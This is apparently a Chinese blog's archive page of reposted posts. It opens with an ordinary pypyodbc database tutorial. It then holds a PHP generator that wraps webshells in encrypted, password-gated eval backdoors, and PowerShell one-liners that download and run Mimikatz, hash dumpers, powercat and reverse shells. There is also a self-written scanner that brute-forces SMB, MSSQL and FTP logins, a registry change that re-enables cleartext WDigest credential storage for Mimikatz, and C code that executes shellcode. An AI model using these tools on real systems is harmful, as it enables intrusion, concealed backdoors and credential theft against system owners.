about pypyodbc

发布时间:June 26, 2015 // 分类:运维工作,工作日志,代码学习,linux,windows,python,转帖文章 // No Comments

Connect to a Database

Make a direct connection to a database and create a cursor.

cnxn = pypyodbc.connect('DRIVER={SQL Server};SERVER=localhost;DATABASE=testdb;UID=me;PWD=pass')
cursor = cnxn.cursor()

Make a connection using a DSN. Since DSNs usually don't store passwords, you'll probably need to provide the PWD keyword.

cnxn = pypyodbc.connect('DSN=test;PWD=password')
cursor = cnxn.cursor()

There are lots of options when connecting, so see the connect function and ConnectionStrings for more details.

Selecting Some Data

Select Basics

All SQL statements are executed using the cursor.execute function. If the statement returns rows, such as a select statement, 

you can retreive them using the Cursor fetch functions (fetchonefetchallfetchmany). If there are no rows, fetchone will return None; 

fetchall and fetchmany will both return empty lists.

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
if row:
    print row

Row objects are similar to tuples, but they also allow access to columns by name:

cursor.execute("select user_id, user_name from users")
row = cursor.fetchone()
print 'name:', row[1]          # access by column index
print 'name:', row.user_name   # or access by name

The fetchone function returns None when all rows have been retrieved.

while 1:
    row = cursor.fetchone()
    if not row:
        break
    print 'id:', row.user_id

The fetchall function returns all remaining rows in a list. If there are no rows, an empty list is returned. 

(If there are a lot of rows, this will use a lot of memory. Unread rows are stored by the database driver in a compact format and are often sent in batches from the database server. 

Reading in only the rows you need at one time will save a lot of memory.)

cursor.execute("select user_id, user_name from users")
rows = cursor.fetchall()
for row in rows:
    print row.user_id, row.user_name

If you are going to process the rows one at a time, you can use the cursor itself as an interator:

cursor.execute("select user_id, user_name from users"):
for row in cursor:
    print row.user_id, row.user_name

Since cursor.execute always returns the cursor, you can simplify this even more:

for row in cursor.execute("select user_id, user_name from users"):
    print row.user_id, row.user_name

A lot of SQL statements don't fit on one line very easily, so you can always use triple quoted strings:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < '2001-01-01'
                  and bill_overdue = 'y'
               """)

Parameters

ODBC supports parameters using a question mark as a place holder in the SQL. 

You provide the values for the question marks by passing them after the SQL:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, '2001-01-01', 'y')

This is safer than putting the values into the string because the parameters are passed to the database separately, protecting against SQL injection attacks

It is also be more efficient if you execute the same SQL repeatedly with different parameters. The SQL will be prepared only once. (pypyodbc only keeps the last statement prepared, so if you switch between statements, each will be prepared multiple times.)

The Python DB API specifies that parameters should be passed in a sequence, so this is also supported by pypyodbc:

cursor.execute("""
               select user_id, user_name
                 from users
                where last_logon < ?
                  and bill_overdue = ?
               """, ['2001-01-01', 'y'])
cursor.execute("select count(*) as user_count from users where age > ?", 21)
row = cursor.fetchone()
print '%d users' % row.user_count

Inserting Data

To insert data, pass the insert SQL to Cursor.execute, along with any parameters necessary:

cursor.execute("insert into products(id, name) values ('pypyodbc', 'awesome library')")
cnxn.commit()

cursor.execute("insert into products(id, name) values (?, ?)", 'pypyodbc', 'awesome library')
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Updating and Deleting

Updating and deleting work the same way, pass the SQL to execute. However, you often want to know how many records were affected when updating and deleting, in which case you can use the cursor.rowcount value:

cursor.execute("delete from products where id <> ?", 'pypyodbc')
print cursor.rowcount, 'products deleted'
cnxn.commit()

Since execute always returns the cursor, you will sometimes see code like this. (Notice the rowcount on the end.)

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount
cnxn.commit()

Note the calls to cnxn.commit(). You must call commit or your changes will be lost! When the connection is closed, any pending changes will be rolled back. This makes error recovery very easy, but you must remember to call commit.

Tips and Tricks

Since single quotes are valid in SQL, use double quotes to surround your SQL:

deleted = cursor.execute("delete from products where id <> 'pypyodbc'").rowcount

If you are using triple quotes, you can use either:

deleted = cursor.execute("""
                         delete
                           from products
                          where id <> 'pypyodbc'
                         """).rowcount

Some databases (e.g. SQL Server) do not generate column names for calculations, in which case you need to access the columns by index. You can also use the 'as' keyword to name columns (the "as user_count" in the SQL below).

row = cursor.execute("select count(*) as user_count from users").fetchone()
print '%s users' % row.user_count

If there is only 1 value you need, you can put the fetch of the row and the extraction of the first column all on one line:

count = cursor.execute("select count(*) from users").fetchone()[0]
print '%s users' % count

This will not work if the first column can be NULL! In that case, fetchone() will return None and you'll get a cryptic error about NoneType not supporting indexing. If there is a default value, often you can is ISNULL or coalesce to convert NULLs to default values directly in the SQL:

maxid = cursor.execute("select coalesce(max(id), 0) from users").fetchone()[0]

In this example, coalesce(max(id), 0) causes the selected value to be 0 if max(id) returns NULL.

If you're using MS Access 2007, there are some subtle differences in the connection string:

conn = pypyodbc.connect("Driver={Microsoft Access Driver (*.mdb, *.accdb)};DBQ=<path to MDB or ACCDB>;")

Also, you need to use the square brackets notation if your column has spaces or nonstandard characters. I prefer an alias:
 

cursor.execute("SELECT Cust.[ZIP CODE] AS ZIPCODE FROM Cust")
for row in cursor:
        print row.ZIPCODE

Aboutt mysql

# using mysql odbc driver http://www.mysql.com/downloads/connector/odbc/
import pypyodbc
#connect to localhost
cnxn = pypyodbc.connect('Driver={MySQL ODBC 5.1 Driver};Server=127.0.0.1;Port=3306;Database=information_schema;User=root; Password=root;Option=3;')
cursor = cnxn.cursor()

#select all tables from all databases
cursor.execute("select t1.TABLE_SCHEMA field1,t1.TABLE_NAME field2  from `TABLES` t1;")
rows = cursor.fetchall()
for row in rows:
    print "%s.%s" % (row.field1,row.field2)

from:https://code.google.com/p/pyodbc/downloads/list

php 后门加密代码

发布时间:June 17, 2015 // 分类:运维工作,工作日志,PHP,linux,转帖文章,windows // No Comments

在某司5看到了一个加密文件求解密的。默默的谷歌到了

http://www.unphp.net/decode/f8d9b784c5812649b44b3cf623805bd9/

如果需要解密,可以参考

http://wiki.yobi.be/wiki/Forensics_on_Incident_3

根据这篇文章的算法写了个简单的文件加密,什么大马小马加密出来的效果一模一样。效果很吊,双层加密,可以防爆破

<?php 
$file = 'D:/Web/index.php'; /*要加密的文件*/
$pass = '123456'; /*登录密码*/

function enc($code,$pass) {
        $len  = strlen($code);
        for($i = 0; $i < $len; $i++) {
                $pass .= $code[$i];
                $code[$i] = chr((ord($code[$i]) + ord($pass[$i])) % 256);
        }
        $code = base64_encode($code);
        $temp = str_split($code,80);
        $newc = join("\r\n",$temp);
        return $newc;
}

$code = file_get_contents($file);
$code = base64_encode(' ?>'.$code.'<?php ');
$code = 'eval(base64_decode(\''.$code.'\'));exit;';
$code = gzdeflate($code);
$pass = md5($pass).substr(md5(strrev($pass)),0,strlen($pass));

$out  = base64_decode('PD9waHANCiR3cF9fd3AgPSAnYmFzZScgLiAoMzIgKiAyKSAuICdfZGUnIC4gJ2NvZGUnOw0KJHdwX193cCA9ICR3cF9fd3Aoc3RyX3JlcGxhY2UoYXJyYXkoIlxyIiwiXG4iKSwgYXJyYXkoJycsJycpLCAn').enc($code,$pass);
$out .= base64_decode('JykpOw0KJHdwX3dwID0gaXNzZXQoJF9QT1NUWyd3cF93cCddKSA/ICRfUE9TVFsnd3Bfd3AnXSA6IChpc3NldCgkX0NPT0tJRVsnd3Bfd3AnXSkgPyAkX0NPT0tJRVsnd3Bfd3AnXSA6IE5VTEwpOw0KaWYgKCR3cF93cCAhPT0gTlVMTCkgew0KICAgICR3cF93cCA9IG1kNSgkd3Bfd3ApIC4gc3Vic3RyKG1kNShzdHJyZXYoJHdwX3dwKSksIDAsIHN0cmxlbigkd3Bfd3ApKTsNCiAgICBmb3IgKCR3cF9fX3dwID0gMDsgJHdwX19fd3AgPCA=').strlen($code);
$out .= base64_decode('OyAkd3BfX193cCsrKSB7DQogICAgICAgICR3cF9fd3BbJHdwX19fd3BdID0gY2hyKChvcmQoJHdwX193cFskd3BfX193cF0pIC0gb3JkKCR3cF93cFskd3BfX193cF0pKSAlIDI1Nik7DQogICAgICAgICR3cF93cC49ICR3cF9fd3BbJHdwX19fd3BdOw0KICAgIH0NCiAgICBpZiAoJHdwX193cCA9IEBnemluZmxhdGUoJHdwX193cCkpIHsNCiAgICAgICAgaWYgKGlzc2V0KCRfUE9TVFsnd3Bfd3AnXSkpIEBzZXRjb29raWUoJ3dwX3dwJywgJF9QT1NUWyd3cF93cCddKTsNCiAgICAgICAgJHdwX19fd3AgPSBjcmVhdGVfZnVuY3Rpb24oJycsICR3cF9fd3ApOw0KICAgICAgICB1bnNldCgkd3BfX3dwLCAkd3Bfd3ApOw0KICAgICAgICAkd3BfX193cCgpOw0KICAgIH0NCn0gPz48Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0id3Bfd3AiIHZhbHVlPSIiLz48aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iJmd0OyIvPjwvZm9ybT4=');

echo '<pre>';
echo htmlspecialchars($out);
echo '</pre>';
?>

一句话把加密后的$_POST['wp_wp']改成$_GET['wp_wp'],连接加上参数?wp_wp=xxxxxx。即可

powershell学习笔记

发布时间:June 16, 2015 // 分类:运维工作,工作日志,代码学习,windows,转帖文章 // No Comments

1.前言

powershell 功能异常强大,需要.NET 2.0以上环境,不要第三方支持,白名单,轻松过杀软。

在win7/server 2008以后,powershell已被集成在系统当中

============================================

2.基础语法

有点和php一样呢。直接百度一个网站开始学习。。。

http://www.pstips.net/powershell-online-tutorials/

非常简单的学习了一些,来一个脑图:

另外需要说明的是如何加载ps脚本的问题:

方法1:powershell IEX (New-Object Net.WebClient).DownloadString('https://raxxxxx/xxx.ps1');

方法2: set-ExecutionPolicy RemoteSigned

Import-Module .\xxxxx.ps1 [导入模块]

================================

 

3.实例代码

学了不用等于白学,招了一个github 源码[https://github.com/samratashok/nishang/tree/master/Scan],

抄抄改改,写出一个端口扫描,并且支持ftp,smb和mssql爆破ps1脚本

代码:


function Port-Scan {
    [CmdletBinding()] Param(
        [parameter(Mandatory = $true, Position = 0)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $StartAddress,

        [parameter(Mandatory = $true, Position = 1)]
        [ValidatePattern("\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\b")]
        [string]
        $EndAddress,
        
        [string]
        $file,
        
        [int[]]
        $Ports = @(21,22,23,53,69,71,80,98,110,139,111,389,443,445,1080,1433,2001,2049,3001,3128,5222,6667,6868,7777,7878,8080,1521,3306,3389,5801,5900,5555,5901),
        
        [int]
        $TimeOut = 100
    )  
    Begin {
    $ping = New-Object System.Net.Networkinformation.Ping
    }
    Process {
    
    #init Brute force SQL Server function
    $Connection = New-Object System.Data.SQLClient.SQLConnection

        
        
    $result=@()
    foreach($a in ($StartAddress.Split(".")[0]..$EndAddress.Split(".")[0])) {
        foreach($b in ($StartAddress.Split(".")[1]..$EndAddress.Split(".")[1])) {
        foreach($c in ($StartAddress.Split(".")[2]..$EndAddress.Split(".")[2])) {
            foreach($d in ($StartAddress.Split(".")[3]..$EndAddress.Split(".")[3])) {
            
            $ip="$a.$b.$c.$d"
            $pingStatus = $ping.Send($ip,$TimeOut)
            
            $openport=@()
            
            if($pingStatus.Status -eq "Success") {
                write-host "$ip is alive" -ForegroundColor red

                
            for($i = 1; $i -le $ports.Count;$i++) {
                    $port = $Ports[($i-1)]
                    $client = New-Object System.Net.Sockets.TcpClient
                    $beginConnect = $client.BeginConnect($pingStatus.Address,$port,$null,$null)
                    Start-Sleep -Milli $TimeOut
    
                    if($client.Connected) {                     
                        $openport += $port
                
                        write-host "$ip open $port" -ForegroundColor red     
                        "$ip open $port" | out-file -Append -filepath $file
                        }
                    
                    $client.Close()
                
                }
                
            $iphash=@{ip=$ip;ports=$openport}
            $result +=$iphash
            
            }
            }
        }
        }
    }
    
    foreach ($i in $result){
        foreach ($port in $i.ports){
            #brute smb
            $ip=$i.ip
            if($port -eq 445){
                Write-host "Brute Forcing smb Service on $ip...." -ForegroundColor Yellow
                $conf=Get-Content 'conf\smb.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    
                    if (wmic /user:$username /password:$password /node:$ip process call create "") {
                        Write-Host "login smb to $ip with $username : $password is successful" -ForegroundColor green
                        "login smb to $ip with $username : $password is successful" | out-file -Append -filepath $file
                        break
                    }else{
                        Write-Host "login smb to $ip with $username : $password is fail"
                    }
                }
                
            }
            #brute mssql
            if($port -eq 1433){
                Write-host "Brute Forcing SQL Service on $ip...."  -ForegroundColor Yellow
                $conf=Get-Content 'conf\mssql.conf'
                foreach ($j in $conf){
                    $username=$j.Split(":")[0]
                    $password=$j.Split(":")[1]
                    $Connection.ConnectionString = "Data Source=$ip;Initial Catalog=Master;User Id=$username;Password=$password;"
                    Try
                    {
                        $Connection.Open()
                        $success = $true
                    }
                    Catch
                    {
                        $success = $false
                        Write-host "login mssql to $ip with $username : $password fail "
                    }
                    if($success -eq $true) 
                    {
                            Write-host "login mssql to $ip with $username : $Password  is successful" -ForegroundColor green
                            "login mssql to $ip with $username : $Password  is successful"| out-file -Append -filepath $file
                            Break
                    } 
                }
                
            }
            
            
            if($port -eq 21){
                Write-host "Brute Forcing ftp Service on $ip...."  -ForegroundColor Yellow
                $source = "ftp://" + $ip
    
                $conf=Get-Content 'conf\ftp.conf'
                foreach ($j in $conf){
                    Try 
                    {
                        $username=$j.Split(":")[0]
                        $password=$j.Split(":")[1]                
                        $ftpRequest = [System.Net.FtpWebRequest]::Create($source)
                        $ftpRequest.Method = [System.Net.WebRequestMethods+Ftp]::ListDirectoryDetails
                        $ftpRequest.Credentials = new-object System.Net.NetworkCredential($username, $password)
                        $result = $ftpRequest.GetResponse()
                        $message = $result.BannerMessage + $result.WelcomeMessage
                        Write-host "login ftp to $ip with $username : $password  is successful" -ForegroundColor green
                        "login ftp to $ip with $username : $password  is successful"| out-file -Append -filepath $file
                        break
                    }
                    Catch {
                    Write-host "login ftp to $ip with $username : $password fail "
                    }
                }
                

            }
            
            

        }
    }
    
    Write-host "put all into $file" -ForegroundColor red
    
    }
    
    
    
    
    End {
    }
}

效果:

bug:

1.代码是单线程的速度一定慢,不知道powershell要怎么去分配线程池

2.smb直接使用了wmic命令,当密码不对时候会显示一个错误,不知道如何去屏蔽不显示

代码没有没有进行服务指纹识别什么的,还是非常粗糙的

 

================================

4.一些很屌的powershell工具

4.1.获取hash

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Gather/Get-PassHashes.ps1');Get-PassHashes

 

4.2.获取明文---Mimikatz

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

 

4.3 nc---powercat

 

IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1')

 

4.4----各种反弹shell

http:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PoshRatHttps.ps1')

tcp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1')

udp:

IEX (New-Object Net.WebClient).DownloadString('https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcp.ps1')

icmp:

IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellIcmp.ps1')

 

来源:

https://github.com/samratashok/nishang

================================

 

5.结尾

资料来源:

https://github.com/samratashok/nishang/

http://x0day.me/

http://zone.wooyun.org/content/20429

Dumping WDigest Creds with Meterpreter Mimikatz/Kiwi in Windows 8.1

发布时间:June 11, 2015 // 分类:windows,转帖文章 // No Comments

Many of us in the penetration testing world have come to love Benjamin Delpy’s (blog.gentilkiwi.com) mimikatz/kiwi modules which were ported to Metasploit by OJ Reeves and incorporated into the meterpreter shell. Among other capabilities, one of the most impactful features of these modules was the ability to extract a Windows user’s clear text password from the WDigest provider.

When Microsoft released Windows 8.1, they added some security features that effectively removed the ability of tools like mimikatz or WCE to dump clear text credentials from LSA memory.

Microsoft then backported those fixes in a security update (http://support.microsoft.com/kb/2871997) for Windows systems prior to 8.1. However, because WDigest is used by many products (e.g. IIS), Microsoft left the Wdigest provider enabled which is why our mimikatz/kiwi module can still obtain clear text passwords prior to Windows 8.1

Windows 8.1 introduced a registry setting that allows for disabling the storage of the user’s logon credential in clear text for the WDigest provider.

(HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCredential)

Although the entry does not appear in the Windows 8.1 registry, the default setting for this DWORD value in 8.1 is “0” meaning that 8.1 does not store logon credentials in clear text in LSA memory for this SSP.

KB2871997 backported this registry setting to earlier Windows versions. When you install the hotfix, the registry setting will also not appear in earlier versions. These versions < 8.1 will default to “1” for the “UseLogonCredential” DWORD value.

So what happens on a Windows 8.1 system when we try to obtain the clear text password via a meterpreter shell using the mimikatz or kiwi modules?

The kiwi module is unable to obtain the clear text passwords from LSA memory.

But since we have administrative access, let’s change the registry setting by explicitly setting it to 1 in a Windows shell.

(reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1)

We refresh the regedit window to see the new value of “1” for UseLogonCredential.

Now, all we have to do is try to force, or wait for the user to either lock their screen or log off and then subsequently unlock their screen or log back in.

With the update to the registry, we should now be able to grab the clear text password from LSA memory.

Back in our meterpreter shell, we attempt the creds_wdigest again (might have to get a new meterpreter shell if the user logged off and back on).

References:

http://blog.gentilkiwi.com
http://blogs.technet.com/b/kfalde/archive/2014/11/01/kb2871997-and-wdigest-part-1.aspx

 

咱们来说人话。修改注册表 ,将 HKLM_LOCAL_MACHEINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"(需要添加该 项目)设置为1,类型为DWORD 32  就可以了,然后等管理员在线或者还没注销的时候,就可以用mimi抓取明文了。

reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1

PentestBox:一个基于Windows系统的渗透测试平台

发布时间:June 7, 2015 // 分类:工作日志,转帖文章,windows // No Comments

Welcome to PentestBox Tools List Website!
Here you will find list of the tools which are inside PentestBox and how to use them. 
You can see list of tools of particular category using the left sidebar.

Suppose you want to use SQLMap, you can find it's description below in Web Application Scanner Section and you will find something like given below

  cmd.exe

C:\Users\Aditya Agrawal\Desktop

$sqlmap

The console above with sqlmap in it tells that if you need to use SQLmap then sqlmap is the alias for it. If you are not aware with the tool and it's functions then type like sqlmap -h on console, it will display all possible functions of that tool , sqlmap in our case.

 

To keep everything in short, below are only aliases of the respective tool. 
I Hope you will Enjoy using PentestBox :)

Web Vulnerability Scanners

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: PortsWigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Commix - Commix (short for [comm]and [i]njection e[x]ploiter) has a simple environment and it can be used, from web developers, penetration testers or even security researchers to test web applications with the view to find bugs, errors or vulnerabilities related to command injection attacks. 
    Copyright (c) 2015 Anastasios Stasinopoulos (@ancst)
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $commix

  • fimap - fimap is a little python tool which can find, prepare, audit, exploit and even google automaticly for local and remote file inclusion bugs in webapps. fimap should be something like sqlmap just for LFI/RFI bugs instead of sql injection. It's currently under heavy development but it's usable. 
    Author: Iman Karim 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $fimap

  • Grabber - Grabber is a web application scanner. Basically it detects some kind of vulnerabilities in your website. Grabber is simple, not fast but portable and really adaptable. This software is designed to scan small websites such as personals, forums etc. absolutely not big application: it would take too long time and flood your network. 
    Author: Romain Gaucher 
    License: BSD
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $grabber

  • Golismero - GoLismero is an open source framework for security testing. It's currently geared towards web security, but it can easily be expanded to other kinds of scans.
    License: GPLv2 
    Author: Daniel García , Mario Vilas, Raúl Requero 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $golismero

      cmd.exe

    C:\PentestBox\bin\WebApplications\golismero (master)

    $golismero.bat scan pentestbox.com

  • IronWasp - Find security issues on your website automatically using IronWASP, one of the world's best web security scanners. Here are some reasons why IronWASP is great:
    • It's Free and Open source
    • GUI based and very easy to use, no security expertise required
    • Powerful and effective scanning engine
    • Supports recording Login sequence
    • Checks for over 25 different kinds of well known web vulnerabilities
    • False Negatives detection suppport
    • Industry leading built-in scripting engine that supports Python and Ruby

    Author: Lavakumar Kuppan
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $ironwasp

  • jSQL - jSQL Injection is a lightweight application used to find database information from a distant server. jSQL is free, open source and cross-platform (Windows, Linux, Mac OS X, Solaris). 
    Author: ron190 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $jSQL

  • Nikto - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. 
    Author: Cirt.net 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $nikto

  • PadBuster - Automated script for performing Padding Oracle attacks. 
    Author: Brian Holyfield, Gotham Digital Science 
    License: Reciprocal Public License 1.5
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $padbuster

  • SqlMap - sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections. 
    Author: Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar 
    License: GPLv2
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $sqlmap

  • Vega - Vega is a free and open source scanner and testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. It is written in Java, GUI based, and runs on Linux, OS X, and Windows. 
    Author: Subgraph 
    License: Eclipse Public License 1.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $vega

  • Wpscan - WPScan is a black box WordPress vulnerability scanner that can be used to scan remote WordPress installations to find security issues. 
    Author: The WPScan Team 
    License: WPScan Public Source License
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $wpscan

  • OWASP Xenotix XSS Exploit FrameWork - OWASP Xenotix XSS Exploit Framework is an advanced Cross Site Scripting (XSS) vulnerability detection and exploitation framework. Xenotix provides Zero False Positive XSS Detection by performing the Scan within the browser engines where in real world, payloads get reflected. Xenotix Scanner Module is incorporated with 3 intelligent fuzzers to reduce the scan time and produce better results. If you really don't like the tool logic, then leverage the power of Xenotix API to make the tool work like you wanted it to be. It is claimed to have the world’s 2nd largest XSS Payloads of about 4800+ distinctive XSS Payloads. It is incorporated with a feature rich Information Gathering module for target Reconnaissance. The Exploit Framework includes real world offensive XSS exploitation modules for Penetration Testing and Proof of Concept creation. Say no to alert pop-ups in PoC. Pen testers can now create appealing Proof of Concepts within few clicks. 
    Author: Ajin Abraham 
    License: Creative Commons Attribution-ShareAlike 3.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $xenotix

  • Yasuo - Yasuo is a ruby script that scans for vulnerable 3rd-party web applications. While working on a network security assessment (internal, external, redteam gigs etc.), we often come across vulnerable 3rd-party web applications or web front-ends that allow us to compromise the remote server by exploiting publicly known vulnerabilities. Some of the common & favorite applications are Apache Tomcat administrative interface, JBoss jmx-console, Hudson Jenkins and so on. 
    License: GPLv3
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $yasuo

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Applications Proxies

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

  • Zaproxy - The OWASP Zed Attack Proxy (ZAP) is an easy to use integrated penetration testing tool for finding vulnerabilities in web applications. It is designed to be used by people with a wide range of security experience and as such is ideal for developers and functional testers who are new to penetration testing as well as being a useful addition to an experienced pen testers toolbox. 
    Author: OWASP.org

    There is some integration issue with Zaproxy and PentestBox. So you have to start it manually by opening zap.bat file inPentestBox_Directory/bin/WebApplications/ZAP_2.4.0/.We will surely try to fix it sooner.

Web Crawlers

  • Dir Buster - DirBuster is a multi threaded java application designed to brute force directories and files names on web/application servers. 
    Author: OWASP.org 
    License: Apache 2.0
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $dirbuster

  • Burp Suite - Burp Suite is an integrated platform for performing security testing of web applications. Its various tools work seamlessly together to support the entire testing process, from initial mapping and analysis of an application's attack surface, through to finding and exploiting security vulnerabilities. 
    Author: Portswigger
      cmd.exe

    C:\Users\Aditya Agrawal\Desktop

    $burp

关于文字会重叠的问题。提供方式

 

几种用C语言来执行shellcode(其实也就是机器码)的方式

发布时间:June 5, 2015 // 分类:开发笔记,代码学习,VC/C/C++,windows // No Comments

/*   
 *  作者: 冷却   
 *  时间: 2009年2月21日   
 *  E-mail: leng_que@yahoo.com.cn   
 *  描述: 演示几种用C语言来执行shellcode(其实也就是机器码)的方式 
 *  备注:在WindowsXP SP3下测试成功 
 */  
  
//一段打开Windows计算器(calc.exe)的shellcode  
unsigned char shellcode[] =  
"/xb8/x82/x0a/x8d/x38/xd9/xc6/xd9/x74/x24/xf4/x5a/x29/xc9/xb1/x23"  
"/x31/x42/x12/x83/xea/xfc/x03/xc0/x04/x6f/xcd/x38/xf0/x2b/x2e/xc0"  
"/x01/x3f/x6b/xfc/x8a/x43/x71/x84/x8d/x54/xf2/x3b/x96/x21/x5a/xe3"  
"/xa7/xde/x2c/x68/x93/xab/xae/x80/xed/x6b/x29/xf0/x8a/xac/x3e/x0f"  
"/x52/xe6/xb2/x0e/x96/x1c/x38/x2b/x42/xc7/xc5/x3e/x8f/x8c/x99/xe4"  
"/x4e/x78/x43/x6f/x5c/x35/x07/x30/x41/xc8/xfc/x45/x65/x41/x03/xb2"  
"/x1f/x09/x20/x40/xe3/x83/xe8/x2c/x68/xa3/xd8/x29/xae/x5c/x15/xba"  
"/x6f/x91/xae/xcc/x73/x04/x3b/x44/x84/xbd/x35/x1f/x14/xf1/x46/x1f"  
"/x15/x79/x2e/x23/x4a/x4c/x59/x3b/x22/x27/x5d/x38/x0a/x4c/xce/x56"  
"/xf5/x6b/x0c/xd5/x61/x14/x2f/x93/x7c/x73/x2f/x44/xe3/x1a/xa3/xe9"  
"/xe4";  
  
//第一种执行方式  
void exe_1()  
{  
    void (*code)(void);  
    code = (void*)shellcode;  
    code();  
}  
  
//第二种执行方式  
void exe_2()  
{  
    ( (void (*)(void))shellcode )();  
}  
  
//第三种执行方式  
void exe_3()  
{  
    __asm  
    {  
        lea eax,shellcode;  
        jmp eax;  
    }  
}  
  
//第四种执行方式  
void exe_4()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        jmp eax;  
    }  
}  
  
//第五种执行方式  
void exe_5()  
{  
    __asm  
    {  
        mov eax,offset shellcode;  
        _emit 0xFF;  
        _emit 0xE0;  
    }  
}  
  
//主函数入口  
void main()  
{  
    exe_5();  
} 

 

/* 
 *  作者: 冷却 
 *  时间: 2009年2月21日 
 *  E-mail: leng_que@yahoo.com.cn 
 *  描述: 演示三种用C语言来执行机器码的方式 
 */  
  
#include <stdio.h>  
  
//一段机器码,功能为:对传入的整型参数进行加一操作,然后返回结果。  
unsigned char machineCode[] =  
"/xe9/x07/x00/x00/x00/xcc/xcc/xcc/xcc/xcc/xcc/xcc/x55/x8b/xec/x83/xec/x40/x53/x56"  
"/x57/x8d/x7d/xc0/xb9/x10/x00/x00/x00/xb8/xcc/xcc/xcc/xcc/xf3/xab/x8b/x45/x08/x83"  
"/xc0/x01/x5f/x5e/x5b/x8b/xe5/x5d/xc3";  
  
//第一种执行方式  
void exe_1()  
{  
    int result;  
      
    result = ( (int (*)(int))machineCode )(7);  
      
    printf("%d/r/n",result);  
}  
  
//第二种执行方式  
void exe_2()  
{  
    int result;  
      
    int (*Fun)(int);  
    Fun = (void*)machineCode;  
      
    result = Fun(7);  
      
    printf("%d/r/n",result);  
}  
  
//第三种执行方式  
void exe_3()  
{  
    int result;  
      
    typedef int(*Fun)(int);  
    Fun p=NULL;  
      
    p = (Fun)machineCode;  
      
    result = p(7);  
      
    printf("%d/r/n",result);  
}  
  
//主函数入口  
void main()  
{  
    exe_1();  
    exe_2();  
    exe_3();  
} 

嗅探的一些记录

发布时间:June 3, 2015 // 分类:windows,转帖文章 // No Comments

解决cain 嗅探导致卡死

嗅探的时候服务器卡死 然后登录都无法登陆 想必大家经常遇到
这个问题很多人都在交流 网上流传的脚本思路是 
先设置 cain 重启后接着嗅探
如果 访问某个ip 超时 就重启
